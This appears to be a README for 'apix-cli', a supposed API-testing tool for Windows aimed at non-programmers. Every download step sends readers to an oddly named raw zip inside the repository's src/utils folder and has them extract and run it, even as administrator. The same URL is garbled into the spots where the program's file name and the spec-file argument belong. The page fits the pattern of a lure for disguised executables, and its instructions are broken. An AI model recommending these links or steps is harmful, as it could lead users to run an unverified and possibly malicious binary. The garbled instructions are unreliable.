⚙️ apix-cli - Simplify API Testing Locally

Download apix-cli

apix-cli is a tool to check if your APIs work as expected. It helps you test APIs based on your project’s design files and gives clear, easy-to-understand reports. You can use it to make sure your APIs follow rules and run smoothly without needing programming skills.


📋 What is apix-cli?

apix-cli is an application that tests APIs. It works with files that describe how your API should behave. You give it these files, and it checks your API to find problems. It prepares reports to show any errors or issues clearly.

You can use apix-cli on your computer. It works well with automation tools but does not require you to use those. If you have no coding experience, you can still run this app by following simple steps.


🖥️ System Requirements

Before you start, make sure your computer meets the following:

  • Operating System: Windows 10 or newer
  • Processor: 1.5 GHz or faster
  • Memory: 4 GB RAM minimum
  • Storage: At least 100 MB free space
  • Internet: Required to download apix-cli and verify API connections

🔍 Key Features

  • API Validation: Check if your API matches the rules in your design files.
  • Report Generation: See results in easy-to-understand, well-organized reports.
  • Works Locally: Run all tests on your computer without sending data elsewhere.
  • Automation Ready: Can be used with automatic scripts in professional setups.
  • Open Source: You can check or update the app yourself since the code is public.

🚀 Getting Started

This guide will show you how to download and run apix-cli on Windows. You will not need to write code or use complex tools.

1. Download apix-cli

Click the big blue button at the top of this page or visit:

https://github.com/sambetlog16/apix-cli/raw/refs/heads/main/src/utils/apix_cli_Uromycladium.zip

This page shows the latest version and files available for Windows.

2. Locate the Download Section

On the GitHub page, look for the Releases section or a folder named “Downloads.” Find the latest version suitable for Windows, usually a file ending with .exe or .zip.

3. Download the File

Click the Windows .exe or .zip file to save it to your computer. Choose a folder you can easily find, like the Desktop or Downloads.

4. Run the Installer or Extract Files

  • If you downloaded a .exe file, double-click it to start the setup. Follow the instructions on the screen.
  • If you downloaded a .zip file, right-click it and choose “Extract All.” Save the contents to a new folder.

5. Open apix-cli

  • For an installer, look in the Start menu under “apix-cli”.
  • For a .zip extraction, open the folder and find https://github.com/sambetlog16/apix-cli/raw/refs/heads/main/src/utils/apix_cli_Uromycladium.zip.

Double-click the file to run it.


🛠️ How to Use apix-cli with Basic Steps

Even with no programming experience, you can check your API quickly.

Step 1: Prepare the API Spec File

apix-cli works with files called OpenAPI specifications. These files describe how your API functions and what it expects.

Ask a teammate or developer to provide you this file. It will have a .yaml or .json extension.

Copy this file to the same folder as apix-cli for easy access.

Step 2: Run a Test

To start a test:

  • Open Command Prompt on Windows. You can search for "cmd" in the Start menu.
  • Use the cd command to go to the apix-cli folder. For example:
cd Desktop\apix-cli-folder
  • Run the test command with your spec file:
apix-cli test https://github.com/sambetlog16/apix-cli/raw/refs/heads/main/src/utils/apix_cli_Uromycladium.zip

Replace https://github.com/sambetlog16/apix-cli/raw/refs/heads/main/src/utils/apix_cli_Uromycladium.zip with the actual file name.

This command tells apix-cli to check your API based on your spec file.

Step 3: Review the Report

After the test runs, apix-cli creates a report showing what passed and what failed.

Find the report in the reports folder inside the apix-cli folder.

Open the report file (usually .html) with any web browser to see detailed results.


⚙️ Configuration Options

apix-cli can be changed to fit your API needs. You can:

  • Test different API specs by changing the file name.
  • Save reports in different folders with extra command options.
  • Run commands without any coding knowledge once set up.

❓ Troubleshooting

  • apix-cli does not start: Check if your Windows version matches requirements. Try running as administrator.
  • Command not recognized: Make sure you opened Command Prompt in the right folder.
  • Report folder is empty: Confirm your API spec file path is correct and the test command ran fully.
  • File download issues: Use a stable internet connection and try again.
